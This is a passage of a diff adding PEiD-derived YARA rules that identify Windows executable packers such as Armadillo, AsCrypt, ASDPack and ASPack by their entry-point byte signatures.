+        $a = {55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00158_Armadillo_v2_20_
+{
+    meta:
+        description = "[Armadillo v2.20]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00159_Armadillo_v2_20b1_
+{
+    meta:
+        description = "[Armadillo v2.20b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a
+}
+
+rule PEiD_00160_Armadillo_v2_50_
+{
+    meta:
+        description = "[Armadillo v2.50]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+    condition:
+        $a
+}
+
+rule PEiD_00161_Armadillo_v2_50b3_
+{
+    meta:
+        description = "[Armadillo v2.50b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+    condition:
+        $a
+}
+
+rule PEiD_00162_Armadillo_v2_51_
+{
+    meta:
+        description = "[Armadillo v2.51]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20}
+    condition:
+        $a
+}
+
+rule PEiD_00163_Armadillo_v2_52_beta2_
+{
+    meta:
+        description = "[Armadillo v2.52 beta2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24}
+    condition:
+        $a
+}
+rule PEiD_00164_Armadillo_v2_52_
+{
+    meta:
+        description = "[Armadillo v2.52]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38}
+    condition:
+        $a
+}
+
+rule PEiD_00165_Armadillo_v2_52_
+{
+    meta:
+        description = "[Armadillo v2.52]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38}
+    condition:
+        $a
+}
+
+rule PEiD_00166_Armadillo_v2_52b2_
+{
+    meta:
+        description = "[Armadillo v2.52b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24}
+    condition:
+        $a
+}
+
+rule PEiD_00167_Armadillo_v2_53_
+{
+    meta:
+        description = "[Armadillo v2.53]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+    condition:
+        $a
+}
+
+rule PEiD_00168_Armadillo_v2_53_
+{
+    meta:
+        description = "[Armadillo v2.53]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+    condition:
+        $a
+}
+
+rule PEiD_00169_Armadillo_v2_53b3_
+{
+    meta:
+        description = "[Armadillo v2.53b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_00170_Armadillo_v2_5x___v2_6x_
+{
+    meta:
+        description = "[Armadillo v2.5x - v2.6x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+    condition:
+        $a
+}
+
+rule PEiD_00171_Armadillo_v2_60_
+{
+    meta:
+        description = "[Armadillo v2.60]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84}
+    condition:
+        $a
+}
+
+rule PEiD_00172_Armadillo_v2_60a_
+{
+    meta:
+        description = "[Armadillo v2.60a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4}
+    condition:
+        $a
+}
+
+rule PEiD_00173_Armadillo_v2_60b1_
+{
+    meta:
+        description = "[Armadillo v2.60b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00174_Armadillo_v2_60b2_
+{
+    meta:
+        description = "[Armadillo v2.60b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C}
+    condition:
+        $a
+}
+rule PEiD_00175_Armadillo_v2_60c_
+{
+    meta:
+        description = "[Armadillo v2.60c]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4}
+    condition:
+        $a
+}
+
+rule PEiD_00176_Armadillo_v2_61_
+{
+    meta:
+        description = "[Armadillo v2.61]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00177_Armadillo_v2_65b1_
+{
+    meta:
+        description = "[Armadillo v2.65b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4}
+    condition:
+        $a
+}
+
+rule PEiD_00178_Armadillo_v2_75a_
+{
+    meta:
+        description = "[Armadillo v2.75a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+    condition:
+        $a
+}
+
+rule PEiD_00179_Armadillo_v2_85_
+{
+    meta:
+        description = "[Armadillo v2.85]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+    condition:
+        $a
+}
+
+rule PEiD_00180_Armadillo_v2_xx__CopyMem_II__
+{
+    meta:
+        description = "[Armadillo v2.xx (CopyMem II)]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 8B B5 ?? ?? ?? ?? C1 E6 04 8B 85 ?? ?? ?? ?? 25 07 ?? ?? 80 79 05 48 83 C8 F8 40 33 C9 8A 88 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 81 E2 07 ?? ?? 80 79 05 4A 83 CA F8 42 33 C0 8A 82}
+    condition:
+        $a
+}
+
+rule PEiD_00181_Armadillo_v3_00_
+{
+    meta:
+        description = "[Armadillo v3.00]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_00182_Armadillo_v3_00a_
+{
+    meta:
+        description = "[Armadillo v3.00a]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00183_Armadillo_v3_01___v3_50a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v3.01 - v3.50a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD B8 43}
+    condition:
+        $a
+}
+
+rule PEiD_00184_Armadillo_v3_01__v3_05_
+{
+    meta:
+        description = "[Armadillo v3.01, v3.05]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 75 02 EB 15 EB 33 C9 75 18 7A 0C 70 0E EB 0D E8 72 0E 79 F1 FF 15 00 79 09 74 F0 EB 87 DB 7A F0 A0 33 61 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 A0 8B 04 24 EB 03 7A 29 E9 C6 00 90 C3 E8 70 F0 87 D2 71 07 E9 00 40 8B DB 7A 11 EB 08 E9 EB F7 EB C3 E8 7A E9 70 DA 7B D1 71 F3 E9 7B}
+    condition:
+        $a
+}
+
+rule PEiD_00185_Armadillo_v3_10_
+{
+    meta:
+        description = "[Armadillo v3.10]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 44 00 33 F6 56 E8 72 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 3D 13 00 00 FF 15 30 40 44 00 A3 84 B7 44 00 E8 FB 11 00 00 A3 E0 A1 44 00 E8 A4 0F 00 00 E8 E6 0E 00 00 E8 4E F6 FF FF 89 75 D0 8D 45 A4 50 FF 15 38 40 44 00 E8 77 0E 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 7C 41 44 00 50 E8 49 D4 FE FF 89 45 A0 50 E8 3C F6 FF FF 8B 45 EC 8B 08 8B 09 89 4D 98 50 51 E8 B5 0C 00 00 59 59 C3 8B 65 E8 FF 75 98 E8 2E F6 FF FF 83 3D E8 A1 44 00 01 75 05}
+    condition:
+        $a
+}
+
+rule PEiD_00186_Armadillo_v3_xx_
+{
+    meta:
+        description = "[Armadillo v3.xx]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58}
+    condition:
+        $a
+}
+
+rule PEiD_00187_Armadillo_v4_00_0053____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.00.0053 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1 4B 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4B 00 A3 A4 B7 4B 00 E8 01 12 00 00 A3 F8 A1 4B 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00188_Armadillo_v4_10____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.10 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D0 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00189_Armadillo_v4_20____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.20 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5 4C 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C 30 4C 00 A3 84 BB 4C 00 E8 01 12 00 00 A3 D8 A5 4C 00 E8 AA 0F 00 00 E8 EC 0E 00 00 E8 2D FA FF FF 89}
+    condition:
+        $a
+}
+
+rule PEiD_00190_Armadillo_v4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24 ?? ?? 00 33 F6 56 E8 78 16 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 43 13 00 00 FF 15 8C ?? ?? 00 A3 24}
+    condition:
+        $a
+}
+
+rule PEiD_00191_Armadillo_v4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo v4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3}
+    condition:
+        $a
+}
+
+rule PEiD_00192_AsCrypt_v0_1____SToRM____3_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - #3]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 51 ?? ?? ?? 01 00 00 00 83 ?? ?? E2}
+    condition:
+        $a
+}
+
+rule PEiD_00193_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2}
+    condition:
+        $a
+}
+
+rule PEiD_00194_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2}
+    condition:
+        $a
+}
+rule PEiD_00195_AsCrypt_v0_1____SToRM___needs_to_be_added_
+{
+    meta:
+        description = "[AsCrypt v0.1 -> SToRM - needs to be added]"
+        ep_only = "false"
+    strings:
+        $a = {81 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? E2 ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_00196_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8D 49 00 1F 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 90}
+    condition:
+        $a
+}
+
+rule PEiD_00197_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {5B 43 83 7B 74 00 0F 84 08 00 00 00 89 43 14 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00198_ASDPack_2_0____asd_
+{
+    meta:
+        description = "[ASDPack 2.0 -> asd]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 04 56 57 53 E8 CD 01 00 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00199_ASDPack_v1_0____asd_
+{
+    meta:
+        description = "[ASDPack v1.0 -> asd]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 53 E8 5C 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ?? ?? ?? 00 00 00 00 00 00 00 40 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 ?? 00 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5B 81 EB E6 1D 40 00 83 7D 0C 01 75 11 55 E8 4F 01 00 00 E8 6A 01 00 00 5D E8 2C 00 00 00 8B B3 1A 1E 40 00 03 B3 FA 1D 40 00 8B 76 0C AD 0B C0 74 0D FF 75 10 FF 75 0C FF 75 08 FF D0 EB EE B8 01 00 00 00 5B 5E C9 C2 0C 00 55 6A 00 FF 93 20 21 40 00 89 83 FA 1D 40 00 6A 40 68 00 10 00 00 FF B3 02 1E 40 00 6A 00 FF 93 2C 21 40 00 89 83 06 1E 40 00 8B 83 F2 1D 40 00 03 83 FA 1D 40 00 50 FF B3 06 1E 40 00 50 E8 6D 01 00 00 5F}
+    condition:
+        $a
+}
+
+rule PEiD_00200_ASPack_1_08_
+{
+    meta:
+        description = "[ASPack 1.08]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 01 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00201_ASPack_v1_00b_
+{
+    meta:
+        description = "[ASPack v1.00b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44}
+    condition:
+        $a
+}
+rule PEiD_00202_ASPack_v1_01b_
+{
+    meta:
+        description = "[ASPack v1.01b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44}
+    condition:
+        $a
+}
+
+rule PEiD_00203_ASPack_v1_02a_
+{
+    meta:
+        description = "[ASPack v1.02a]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00204_ASPack_v1_02b_
+{
+    meta:
+        description = "[ASPack v1.02b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5}
+    condition:
+        $a
+}
+
+rule PEiD_00205_ASPack_v1_02b_
+{
+    meta:
+        description = "[ASPack v1.02b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43}
+    condition:
+        $a
+}
+
+rule PEiD_00206_ASPack_v1_03b_
+{
+    meta:
+        description = "[ASPack v1.03b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43}
+    condition:
+        $a
+}
+
+rule PEiD_00207_ASPack_v1_04b_
+{
+    meta:
+        description = "[ASPack v1.04b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 12 9D ?? 89 85 1E 9D ?? ?? 80 BD 08 9D}
+    condition:
+        $a
+}
+
+rule PEiD_00208_ASPack_v1_05b_
+{
+    meta:
+        description = "[ASPack v1.05b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44}
+    condition:
+        $a
+}
+
+rule PEiD_00209_ASPack_v1_061b_
+{
+    meta:
+        description = "[ASPack v1.061b]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43}
+    condition:
+        $a
+}
+
+rule PEiD_00210_ASPack_v1_06b_
+{
+    meta:
+        description = "[ASPack v1.06b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 75 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00211_ASPack_v1_06b_
+{
+    meta:
+        description = "[ASPack v1.06b]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 75 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00212_ASPack_v1_07b__DLL__
+{
+    meta:
